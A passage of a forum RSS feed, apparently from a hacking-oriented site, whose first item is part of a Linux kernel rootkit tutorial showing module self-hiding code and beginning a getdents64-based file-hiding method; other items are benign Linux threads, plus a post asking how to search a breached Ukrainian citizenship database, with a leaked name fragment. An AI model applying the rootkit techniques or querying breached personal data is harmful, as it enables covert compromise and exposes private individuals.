<li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Students familiar with kernel programming should know that we can use the kobject_del() function (defined in /lib/kobject.c) to detach a kobject from the hierarchy. Here we will use this function at the end of our rootkit's init function:</span></span><br />
</li>
</ul>
<span style="color: #eeeeee;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>static int __init rootkit_init(void)<br />
[/size][/color]<br />
[color=#eeeeee][size=medium]{[/size][/color]<br />
[color=#eeeeee][size=medium]...[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]    // unlink from kobject[/size][/color]<br />
[color=#eeeeee][size=medium]    kobject_del(&amp;__this_module.mkobj.kobj);[/size][/color]<br />
[color=#eeeeee][size=medium]    list_del(&amp;(&amp;__list_module-&gt;mkobj.kobj.entry));[/size][/color]<br />
[color=#eeeeee][size=medium]    [/size][/color]<br />
[color=#eeeeee][size=medium]return 0;[/size][/color]<br />
[color=#eeeeee][size=medium]}</code></div></div></span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">After a simple test, we can find that our rootkit is no longer in procfs or sysfs, but the privilege escalation function is still normal. We have successfully completed the function of hiding the module.</span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Step-III. File hiding</span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">We mentioned earlier that we registered a character device as the interface of our user process, but no matter how well named, an unfamiliar device is still easy to be discovered by the administrator; similarly, since our rootkit needs to reside on the system for a long time, our rootkit should be loaded every time the system is turned on, which requires that our rootkit file also needs to be retained on the hard disk.</span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">So next we have to complete the work of hiding related files</span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: large;" class="mycode_size">File traversal process</span></span><br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #1e92f7;" class="mycode_color">The most commonly used command for traversing files in Linux is ls. We use strace to observe the system calls it uses. In addition to the system call used to load the glibc library, we will find that it calls a system call called getgetdents64:</span><br />
<span style="color: #eeeeee;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>arttnba3@ubuntu:~&#36; strace ls[/size][/color][/size]<br />
[color=#eeeeee][size=medium]...[/size][/color]<br />
[color=#eeeeee][size=medium]openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3[/size][/color]<br />
[color=#eeeeee][size=medium]fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0[/size][/color]<br />
[color=#eeeeee][size=medium]getdents64(3, /* 44 entries */, 32768)  = 1408[/size][/color]<br />
[color=#eeeeee][size=medium]getdents64(3, /* 0 entries */, 32768)  = 0[/size][/color]<br />
[color=#eeeeee][size=medium]close(3) [/size][/color]<br />
[size=medium][color=#eeeeee]...</code></div></div></span><br />
<span style="color: #1e92f7;" class="mycode_color">Its code is located in the kernel source file /fs/readdir.c, as follows:</span><br />
<span style="color: #eeeeee;" class="mycode_color">[size=medium]<div class="codeblock"><div class="body" dir="ltr"><code>SYSCALL_DEFINE3(getdents64, unsigned int, fd,[/size][/color][/size]<br />
[color=#eeeeee][size=medium]struct linux_dirent64 __user *, dirent, unsigned int, count)[/size][/color]<br />
[color=#eeeeee][size=medium]{[/size][/color]<br />
[color=#eeeeee][size=medium]struct fd f;[/size][/color]<br />
[color=#eeeeee][size=medium]struct getdents_callback64 buf = {[/size][/color]<br />
[color=#eeeeee][size=medium].ctx.actor = filldir64,[/size][/color]<br />
[color=#eeeeee][size=medium].count = count,[/size][/color]<br />
[color=#eeeeee][size=medium].current_dir = dirent[/size][/color]<br />
[color=#eeeeee][size=medium]};[/size][/color]<br />
[color=#eeeeee][size=medium]int error;[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]f = fdget_pos(fd);[/size][/color]<br />
[color=#eeeeee][size=medium]if (!f.file)[/size][/color]<br />
[color=#eeeeee][size=medium]return -EBADF;[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]error = iterate_dir(f.file, &amp;buf.ctx);[/size][/color]<br />
[color=#eeeeee][size=medium]if (error &gt;= 0)[/size][/color]<br />
[color=#eeeeee][size=medium]error = buf.error;[/size][/color]<br />
[color=#eeeeee][size=medium]if (buf.prev_reclen) {[/size][/color]<br />
[color=#eeeeee][size=medium]struct linux_dirent64 __user * lastdirent;[/size][/color]<br />
[color=#eeeeee][size=medium]typeof(lastdirent-&gt;d_off) d_off = buf.ctx.pos;[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]lastdirent = (void __user *) buf.current_dir - buf.prev_reclen;[/size][/color]<br />
[color=#eeeeee][size=medium]if (put_user(d_off, &amp;lastdirent-&gt;d_off))[/size][/color]<br />
[color=#eeeeee][size=medium]error = -EFAULT;[/size][/color]<br />
[color=#eeeeee][size=medium]else[/size][/color]<br />
[color=#eeeeee][size=medium]error = count - buf.count;[/size][/color]<br />
[color=#eeeeee][size=medium]}[/size][/color]<br />
[color=#eeeeee][size=medium]fdput_pos(f);[/size][/color]<br />
[color=#eeeeee][size=medium]return error;[/size][/color]<br />
[size=medium][color=#eeeeee]}</code></div></div></span><br />
<span style="color: #1e92f7;" class="mycode_color">When the ls command calls the system call, the first parameter passed in is file descriptor 3, which corresponds to ., the current directory. The fdget_pos() and fdput_pos() functions in the code are used to add/unlock files. The core operation of the system call is the iterate_dir() function, which is defined in /fs/readdir.c. By observing the code, we can find the following logic:</span><br />
<span style="color: #eeeeee;" class="mycode_color">[size=medium]<div class="codeblock"><div class="body" dir="ltr"><code>int iterate_dir(struct file *file, struct dir_context *ctx)[/size][/color][/size]<br />
[color=#eeeeee][size=medium]{[/size][/color]<br />
[color=#eeeeee][size=medium]struct inode *inode = file_inode(file);[/size][/color]<br />
[color=#eeeeee][size=medium]bool shared = false;[/size][/color]<br />
[color=#eeeeee][size=medium]int res = -ENOTDIR;[/size][/color]<br />
[color=#eeeeee][size=medium]if (file-&gt;f_op-&gt;iterate_shared)[/size][/color]<br />
[color=#eeeeee][size=medium]shared = true;[/size][/color]<br />
[color=#eeeeee][size=medium]else if (!file-&gt;f_op-&gt;iterate)[/size][/color]<br />
[color=#eeeeee][size=medium]goto out[/size][/color]<br />
[color=#eeeeee][size=medium]        [/size][/color]<br />
[color=#eeeeee][size=medium]    ...[/size][/color]<br />
[color=#eeeeee][size=medium]    [/size][/color]<br />
[color=#eeeeee][size=medium]if (!IS_DEADDIR(inode)) {[/size][/color]<br />
[color=#eeeeee][size=medium]ctx-&gt;pos = file-&gt;f_pos;[/size][/color]<br />
[color=#eeeeee][size=medium]if (shared)[/size][/color]<br />
[color=#eeeeee][size=medium]res = file-&gt;f_op-&gt;iterate_shared(file, ctx);[/size][/color]<br />
[color=#eeeeee][size=medium]else[/size][/color]<br />
[color=#eeeeee][size=medium]res = file-&gt;f_op-&gt;iterate(file, ctx);[/size][/color]<br />
[color=#eeeeee][size=medium]file-&gt;f_pos = ctx-&gt;pos;[/size][/color]<br />
[color=#eeeeee][size=medium]fsnotify_access(file);[/size][/color]<br />
[color=#eeeeee][size=medium]file_accessed(file);[/size][/color]<br />
[color=#eeeeee][size=medium]}[/size][/color]<br />
[color=#eeeeee][size=medium]    [/size][/color]<br />
[size=medium][color=#eeeeee]...</code></div></div></span><br />
<span style="color: #1e92f7;" class="mycode_color">[size=medium]In the Linux kernel, VFS is used to unify different file systems. The file structure is used to represent a file, and each file has a function table file_operations corresponding to the corresponding operations on the file (such as read, write). The function table is taken from the inode corresponding to the file, and finally from the specific function provided by the corresponding file system.</span></span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Here, the function pointer iterate_shared or iterate in the table will be called. Using gdb to simply debug the kernel, it can be found that iterate_shared is called in the 5.11.0 version of the kernel.</span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Virtualbox 7.1.4 in Ubuntu 24.10]]></title>
			<link>https://pwnforums.st/Thread-Virtualbox-7-1-4-in-Ubuntu-24-10</link>
			<pubDate>Sat, 16 Nov 2024 15:47:45 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=179700">Blinkers</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-Virtualbox-7-1-4-in-Ubuntu-24-10</guid>
			<description><![CDATA[Hi , <br />
<br />
I have seen many people are not able to install Virtualbox 7.1.4 in  Ubuntu 24.10 due to unresolved dependencies making it impossible to install. <br />
<br />
I got a solution to install it successfully with ease , just follow the steps listed below.<br />
<br />
<span style="color: #008e02;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Here is what I did to successfully install VirtualBox 7.1.4 on Ubuntu 24.10</span></span></span><br />
<ul class="mycode_list"><li>sudo apt update<br />
</li>
<li>sudo apt install dkms menu build-essential libelf-dev make gcc linux-headers-&#36;(uname -r)<br />
</li>
<li>sudo apt install liblzf1 libqt6help6 libqt6statemachine6 libsdl-ttf2.0-0 libqt6widgets6 libqt6xml6 qt6-wayland libqt6sql6 libqt6opengl6 libqt6printsupport6 libqt6network6 libqt6printsupport6 libqt6gui6 libqt6dbus6 qt6-qpa-plugins qt6-translations-l10n qt6-wayland qt6-qmltooling-plugins libb2-1<br />
</li>
<li>wget -P &#36;HOME/Downloads <a href="https://download.virtualbox.org/virtualb..._amd64.run" target="_blank" rel="noopener" class="mycode_url">https://download.virtualbox.org/virtualb..._amd64.run</a> <a href="https://download.virtualbox.org/virtualb...SHA256SUMS" target="_blank" rel="noopener" class="mycode_url">https://download.virtualbox.org/virtualb...SHA256SUMS</a><br />
</li>
<li>sha256sum -c &lt;(grep "VirtualBox-7.1.4-165100-Linux_amd64.run" "&#36;HOME/Downloads/SHA256SUMS")<br />
</li>
<li>chmod +x &#36;HOME/Downloads/VirtualBox-7.1.4-165100-Linux_amd64.run<br />
</li>
<li>sudo ./VirtualBox-7.1.4-165100-Linux_amd64.run<br />
</li>
</ul>
<br />
<span style="color: #008e02;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: large;" class="mycode_size">If you like you might want to install the VirtualBox extensions as well.</span></span></span><br />
<ul class="mycode_list"><li>wget -P &#36;HOME/Downloads <a href="https://download.virtualbox.org/virtualb...ox-extpack" target="_blank" rel="noopener" class="mycode_url">https://download.virtualbox.org/virtualb...ox-extpack</a><br />
</li>
<li>sha256sum -c &lt;(grep "Oracle_VirtualBox_Extension_Pack-7.1.4.vbox-extpack" "&#36;HOME/Downloads/SHA256SUMS")<br />
</li>
<li>sudo /usr/bin/vboxmanage extpack install --replace &#36;HOME/Downloads/Oracle_VirtualBox_Extension_Pack-7.1.4.vbox-extpack<br />
</li>
<li>ls -l /opt/VirtualBox/ExtensionPacks/Oracle_VirtualBox_Extension_Pack/linux.amd64<br />
</li>
</ul>
<br />
<span style="color: #008e02;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: large;" class="mycode_size">Add your user to vboxuser group</span></span></span><br />
<ul class="mycode_list"><li>sudo usermod -aG vboxusers &#36;USER<br />
</li>
<li>sudo reboot<br />
</li>
</ul>
<br />
Now the Virtualbox 7.1.4 is set to go in Ubuntu 24.10  <img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Fpwnforums.st%2Fimages%2Fsmilies%2Fangel.png" alt="Angel" title="Angel" class="smilie smilie_10" />]]></description>
			<content:encoded><![CDATA[Hi , <br />
<br />
I have seen many people are not able to install Virtualbox 7.1.4 in  Ubuntu 24.10 due to unresolved dependencies making it impossible to install. <br />
<br />
I got a solution to install it successfully with ease , just follow the steps listed below.<br />
<br />
<span style="color: #008e02;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Here is what I did to successfully install VirtualBox 7.1.4 on Ubuntu 24.10</span></span></span><br />
<ul class="mycode_list"><li>sudo apt update<br />
</li>
<li>sudo apt install dkms menu build-essential libelf-dev make gcc linux-headers-&#36;(uname -r)<br />
</li>
<li>sudo apt install liblzf1 libqt6help6 libqt6statemachine6 libsdl-ttf2.0-0 libqt6widgets6 libqt6xml6 qt6-wayland libqt6sql6 libqt6opengl6 libqt6printsupport6 libqt6network6 libqt6printsupport6 libqt6gui6 libqt6dbus6 qt6-qpa-plugins qt6-translations-l10n qt6-wayland qt6-qmltooling-plugins libb2-1<br />
</li>
<li>wget -P &#36;HOME/Downloads <a href="https://download.virtualbox.org/virtualb..._amd64.run" target="_blank" rel="noopener" class="mycode_url">https://download.virtualbox.org/virtualb..._amd64.run</a> <a href="https://download.virtualbox.org/virtualb...SHA256SUMS" target="_blank" rel="noopener" class="mycode_url">https://download.virtualbox.org/virtualb...SHA256SUMS</a><br />
</li>
<li>sha256sum -c &lt;(grep "VirtualBox-7.1.4-165100-Linux_amd64.run" "&#36;HOME/Downloads/SHA256SUMS")<br />
</li>
<li>chmod +x &#36;HOME/Downloads/VirtualBox-7.1.4-165100-Linux_amd64.run<br />
</li>
<li>sudo ./VirtualBox-7.1.4-165100-Linux_amd64.run<br />
</li>
</ul>
<br />
<span style="color: #008e02;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: large;" class="mycode_size">If you like you might want to install the VirtualBox extensions as well.</span></span></span><br />
<ul class="mycode_list"><li>wget -P &#36;HOME/Downloads <a href="https://download.virtualbox.org/virtualb...ox-extpack" target="_blank" rel="noopener" class="mycode_url">https://download.virtualbox.org/virtualb...ox-extpack</a><br />
</li>
<li>sha256sum -c &lt;(grep "Oracle_VirtualBox_Extension_Pack-7.1.4.vbox-extpack" "&#36;HOME/Downloads/SHA256SUMS")<br />
</li>
<li>sudo /usr/bin/vboxmanage extpack install --replace &#36;HOME/Downloads/Oracle_VirtualBox_Extension_Pack-7.1.4.vbox-extpack<br />
</li>
<li>ls -l /opt/VirtualBox/ExtensionPacks/Oracle_VirtualBox_Extension_Pack/linux.amd64<br />
</li>
</ul>
<br />
<span style="color: #008e02;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: large;" class="mycode_size">Add your user to vboxuser group</span></span></span><br />
<ul class="mycode_list"><li>sudo usermod -aG vboxusers &#36;USER<br />
</li>
<li>sudo reboot<br />
</li>
</ul>
<br />
Now the Virtualbox 7.1.4 is set to go in Ubuntu 24.10  <img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Fpwnforums.st%2Fimages%2Fsmilies%2Fangel.png" alt="Angel" title="Angel" class="smilie smilie_10" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Kali linux is recheable network.]]></title>
			<link>https://pwnforums.st/Thread-Kali-linux-is-recheable-network</link>
			<pubDate>Sat, 14 Sep 2024 08:50:39 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=306922">0zinch</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-Kali-linux-is-recheable-network</guid>
			<description><![CDATA[My Kali Linux is not working; it shows "unable to network connection."]]></description>
			<content:encoded><![CDATA[My Kali Linux is not working; it shows "unable to network connection."]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[best filesystem on Linux]]></title>
			<link>https://pwnforums.st/Thread-best-filesystem-on-Linux</link>
			<pubDate>Fri, 23 Aug 2024 20:22:31 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=196308">Chrysanthemum</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-best-filesystem-on-Linux</guid>
			<description><![CDATA[In your opinion, what is the best file system and why?]]></description>
			<content:encoded><![CDATA[In your opinion, what is the best file system and why?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Distro on server]]></title>
			<link>https://pwnforums.st/Thread-Distro-on-server</link>
			<pubDate>Wed, 24 Jul 2024 22:25:57 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=196308">Chrysanthemum</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-Distro-on-server</guid>
			<description><![CDATA[What distros do you recommend on server? I want stable OS but not so bloated like ubuntu]]></description>
			<content:encoded><![CDATA[What distros do you recommend on server? I want stable OS but not so bloated like ubuntu]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Linux Screenshot Thread]]></title>
			<link>https://pwnforums.st/Thread-Linux-Screenshot-Thread</link>
			<pubDate>Thu, 13 Jun 2024 04:58:33 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=36">putrid</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-Linux-Screenshot-Thread</guid>
			<description><![CDATA[Greetings,<br />
<br />
If you have a rice, or whatever, post a screenshot of your setup:<br />
<br />
<img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Ffiles.catbox.moe%2Fmbct6q.png" loading="lazy"  alt="[Image: mbct6q.png]" class="mycode_img" />]]></description>
			<content:encoded><![CDATA[Greetings,<br />
<br />
If you have a rice, or whatever, post a screenshot of your setup:<br />
<br />
<img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Ffiles.catbox.moe%2Fmbct6q.png" loading="lazy"  alt="[Image: mbct6q.png]" class="mycode_img" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[sysinfo -- Linux sysinfo fetch script]]></title>
			<link>https://pwnforums.st/Thread-sysinfo-Linux-sysinfo-fetch-script</link>
			<pubDate>Thu, 13 Jun 2024 04:54:15 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=36">putrid</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-sysinfo-Linux-sysinfo-fetch-script</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Preview:</span><br />
<img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Ffiles.catbox.moe%2F6rachb.png" loading="lazy"  alt="[Image: 6rachb.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">How To Use:</span><br />
<div class="codeblock"><div class="body" dir="ltr"><code>chmod +x sysinfo.sh<br />
./sysinfo.sh</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Source Code:</span><br />
<div class="codeblock"><div class="body" dir="ltr"><code>#!/bin/sh<br />
#sysinfo by putrid<br />
#█▓▒░ vars<br />
FULL=━<br />
EMPTY=┄<br />
name=&#36;USER<br />
host=&#36;HOSTNAME<br />
battery="/sys/class/power_supply/BAT0"<br />
distro=&#36;(cat /etc/os-release | grep '^NAME=' | cut -d '"' -f 2) <br />
kernel=&#36;(uname -r | sed 's/ARCH/0x0/') ) <br />
pkgs=&#36;(yay -Qqs | wc -l) # Fetch other configurations (adjust according to your setup) <br />
colors="CHANGE ME <br />
font="CHANGE ME <br />
wm=&#36;(wmctrl -m | grep 'Name:' | awk '{print &#36;2}')<br />
#█▓▒░ progress bar<br />
draw()<br />
{<br />
  perc=&#36;1<br />
  size=&#36;2<br />
  inc=&#36;(( perc * size / 100 ))<br />
  out=<br />
  if [ -z &#36;3 ]<br />
  then<br />
    color="36"<br />
  else<br />
    color="&#36;3"<br />
  fi<br />
  for v in `seq 0 &#36;(( size - 1 ))`; do<br />
    test "&#36;v" -le "&#36;inc"  &#92;<br />
    &amp;&amp; out="&#36;{out}&#92;e[1;&#36;{color}m&#36;{FULL}" &#92;<br />
    || out="&#36;{out}&#92;e[0;&#36;{color}m&#36;{EMPTY}"<br />
  done<br />
  printf &#36;out<br />
}<br />
#█▓▒░ colors<br />
printf "&#92;n  "<br />
i=0<br />
while [ &#36;i -le 6 ]<br />
do<br />
  printf "&#92;e[&#36;((i+41))m&#92;e[&#36;((i+30))m█▓▒░"<br />
  i=&#36;((&#36;i+1))<br />
done<br />
printf "&#92;e[37m█&#92;e[0m▒░&#92;n&#92;n"<br />
#█▓▒░ environment<br />
printf " &#92;e[1;33m      distro &#92;e[0m&#36;distro&#92;n"<br />
printf " &#92;e[1;33m      system &#92;e[0m&#36;host&#92;n"<br />
printf " &#92;e[1;33m      kernel &#92;e[0m&#36;kernel&#92;n"<br />
printf " &#92;e[1;33m    packages &#92;e[0m&#36;pkgs&#92;n"<br />
printf " &#92;e[1;33m          wm &#92;e[0m&#36;wm&#92;n"<br />
printf " &#92;e[1;33m        font &#92;e[0m&#36;font&#92;n"<br />
printf " &#92;e[1;33m      colors &#92;e[0m&#36;colors&#92;n"<br />
printf " &#92;e[0m&#92;n"<br />
#█▓▒░ cpu<br />
cpu=&#36;(grep 'cpu ' /proc/stat | awk '{usage=(&#36;2+&#36;4)*100/(&#36;2+&#36;4+&#36;5)} END {print usage}')<br />
c_lvl=`printf "%.0f" &#36;cpu`<br />
printf "  &#92;e[0;36m%-4s &#92;e[1;36m%-5s %-25s &#92;n" " cpu" "&#36;c_lvl%" `draw &#36;c_lvl 15`<br />
#█▓▒░ ram<br />
ram=`free | awk '/Mem:/ {print int(&#36;3/&#36;2 * 100.0)}'`<br />
printf "  &#92;e[0;36m%-4s &#92;e[1;36m%-5s %-25s &#92;n" " ram" "&#36;ram%" `draw &#36;ram 15`</code></div></div>]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Preview:</span><br />
<img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Ffiles.catbox.moe%2F6rachb.png" loading="lazy"  alt="[Image: 6rachb.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">How To Use:</span><br />
<div class="codeblock"><div class="body" dir="ltr"><code>chmod +x sysinfo.sh<br />
./sysinfo.sh</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Source Code:</span><br />
<div class="codeblock"><div class="body" dir="ltr"><code>#!/bin/sh<br />
#sysinfo by putrid<br />
#█▓▒░ vars<br />
FULL=━<br />
EMPTY=┄<br />
name=&#36;USER<br />
host=&#36;HOSTNAME<br />
battery="/sys/class/power_supply/BAT0"<br />
distro=&#36;(cat /etc/os-release | grep '^NAME=' | cut -d '"' -f 2) <br />
kernel=&#36;(uname -r | sed 's/ARCH/0x0/') ) <br />
pkgs=&#36;(yay -Qqs | wc -l) # Fetch other configurations (adjust according to your setup) <br />
colors="CHANGE ME <br />
font="CHANGE ME <br />
wm=&#36;(wmctrl -m | grep 'Name:' | awk '{print &#36;2}')<br />
#█▓▒░ progress bar<br />
draw()<br />
{<br />
  perc=&#36;1<br />
  size=&#36;2<br />
  inc=&#36;(( perc * size / 100 ))<br />
  out=<br />
  if [ -z &#36;3 ]<br />
  then<br />
    color="36"<br />
  else<br />
    color="&#36;3"<br />
  fi<br />
  for v in `seq 0 &#36;(( size - 1 ))`; do<br />
    test "&#36;v" -le "&#36;inc"  &#92;<br />
    &amp;&amp; out="&#36;{out}&#92;e[1;&#36;{color}m&#36;{FULL}" &#92;<br />
    || out="&#36;{out}&#92;e[0;&#36;{color}m&#36;{EMPTY}"<br />
  done<br />
  printf &#36;out<br />
}<br />
#█▓▒░ colors<br />
printf "&#92;n  "<br />
i=0<br />
while [ &#36;i -le 6 ]<br />
do<br />
  printf "&#92;e[&#36;((i+41))m&#92;e[&#36;((i+30))m█▓▒░"<br />
  i=&#36;((&#36;i+1))<br />
done<br />
printf "&#92;e[37m█&#92;e[0m▒░&#92;n&#92;n"<br />
#█▓▒░ environment<br />
printf " &#92;e[1;33m      distro &#92;e[0m&#36;distro&#92;n"<br />
printf " &#92;e[1;33m      system &#92;e[0m&#36;host&#92;n"<br />
printf " &#92;e[1;33m      kernel &#92;e[0m&#36;kernel&#92;n"<br />
printf " &#92;e[1;33m    packages &#92;e[0m&#36;pkgs&#92;n"<br />
printf " &#92;e[1;33m          wm &#92;e[0m&#36;wm&#92;n"<br />
printf " &#92;e[1;33m        font &#92;e[0m&#36;font&#92;n"<br />
printf " &#92;e[1;33m      colors &#92;e[0m&#36;colors&#92;n"<br />
printf " &#92;e[0m&#92;n"<br />
#█▓▒░ cpu<br />
cpu=&#36;(grep 'cpu ' /proc/stat | awk '{usage=(&#36;2+&#36;4)*100/(&#36;2+&#36;4+&#36;5)} END {print usage}')<br />
c_lvl=`printf "%.0f" &#36;cpu`<br />
printf "  &#92;e[0;36m%-4s &#92;e[1;36m%-5s %-25s &#92;n" " cpu" "&#36;c_lvl%" `draw &#36;c_lvl 15`<br />
#█▓▒░ ram<br />
ram=`free | awk '/Mem:/ {print int(&#36;3/&#36;2 * 100.0)}'`<br />
printf "  &#92;e[0;36m%-4s &#92;e[1;36m%-5s %-25s &#92;n" " ram" "&#36;ram%" `draw &#36;ram 15`</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Alpine Linux]]></title>
			<link>https://pwnforums.st/Thread-Alpine-Linux</link>
			<pubDate>Thu, 29 Feb 2024 14:18:33 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=135945">Croquet</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-Alpine-Linux</guid>
			<description><![CDATA[Anyone here has any experience with <a href="https://alpinelinux.org/" target="_blank" rel="noopener" class="mycode_url">Alpine Linux</a>?<br />
<br />
I heard Tor Browser doesn't work well with musl but Alpine has <a href="https://wiki.alpinelinux.org/wiki/Running_glibc_programs" target="_blank" rel="noopener" class="mycode_url">gcompat</a> and can also run glibc programs (like Tor Browser) with Flatpak. Did anyone try any of these options?]]></description>
			<content:encoded><![CDATA[Anyone here has any experience with <a href="https://alpinelinux.org/" target="_blank" rel="noopener" class="mycode_url">Alpine Linux</a>?<br />
<br />
I heard Tor Browser doesn't work well with musl but Alpine has <a href="https://wiki.alpinelinux.org/wiki/Running_glibc_programs" target="_blank" rel="noopener" class="mycode_url">gcompat</a> and can also run glibc programs (like Tor Browser) with Flatpak. Did anyone try any of these options?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[your linux distro]]></title>
			<link>https://pwnforums.st/Thread-your-linux-distro</link>
			<pubDate>Wed, 17 Jan 2024 12:40:55 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=99802">dundrondo</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-your-linux-distro</guid>
			<description><![CDATA[what linux distribution are you using now and why? <img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Fpwnforums.st%2Fimages%2Fsmilies%2Fsmile.png" alt="Smile" title="Smile" class="smilie smilie_1" />]]></description>
			<content:encoded><![CDATA[what linux distribution are you using now and why? <img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Fpwnforums.st%2Fimages%2Fsmilies%2Fsmile.png" alt="Smile" title="Smile" class="smilie smilie_1" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[How do you stop working ("exit") on a terminal session?]]></title>
			<link>https://pwnforums.st/Thread-How-do-you-stop-working-exit-on-a-terminal-session</link>
			<pubDate>Tue, 28 Nov 2023 07:47:00 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=22411">Someone1611</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-How-do-you-stop-working-exit-on-a-terminal-session</guid>
			<description><![CDATA[Please be honest. No one laugh at you.]]></description>
			<content:encoded><![CDATA[Please be honest. No one laugh at you.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Search in text file containing cyrillic]]></title>
			<link>https://pwnforums.st/Thread-Search-in-text-file-containing-cyrillic</link>
			<pubDate>Fri, 17 Nov 2023 11:49:51 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=524">illuminaris</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-Search-in-text-file-containing-cyrillic</guid>
			<description><![CDATA[Hi All<br />
<br />
I am trying to figure out, how to search in a textfile containing cyrillic letters in Linux terminal, which uses an english char set.<br />
<br />
Using<br />
Cat BreachedDataUkraine53MCitizenshipDatabase.txt<br />
Produces<br />
1448700758      ������  6656    �����˲� 21      ����������      9      1 <br />
<br />
<br />
using<br />
LANG=ru_RU.CP1251 luit cat BreachedDataUkraine53MCitizenshipDatabase.txt<br />
Produces<br />
КАКОТКІН        207249  РОМАН<br />
<br />
But if i try to grep something like<br />
LANG=ru_RU.CP1251 luit cat BreachedDataUkraine53MCitizenshipDatabase.txt | grep МЕРКУЛЕНКО<br />
It just prints the whole file<br />
<br />
strings BreachedDataUkraine53MCitizenshipDatabase.txt | grep 1990<br />
Only shows numbers<br />
<br />
Any help are appreciated <img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Fpwnforums.st%2Fimages%2Fsmilies%2Fsmile.png" alt="Smile" title="Smile" class="smilie smilie_1" />]]></description>
			<content:encoded><![CDATA[Hi All<br />
<br />
I am trying to figure out, how to search in a textfile containing cyrillic letters in Linux terminal, which uses an english char set.<br />
<br />
Using<br />
Cat BreachedDataUkraine53MCitizenshipDatabase.txt<br />
Produces<br />
1448700758      ������  6656    �����˲� 21      ����������      9      1 <br />
<br />
<br />
using<br />
LANG=ru_RU.CP1251 luit cat BreachedDataUkraine53MCitizenshipDatabase.txt<br />
Produces<br />
КАКОТКІН        207249  РОМАН<br />
<br />
But if i try to grep something like<br />
LANG=ru_RU.CP1251 luit cat BreachedDataUkraine53MCitizenshipDatabase.txt | grep МЕРКУЛЕНКО<br />
It just prints the whole file<br />
<br />
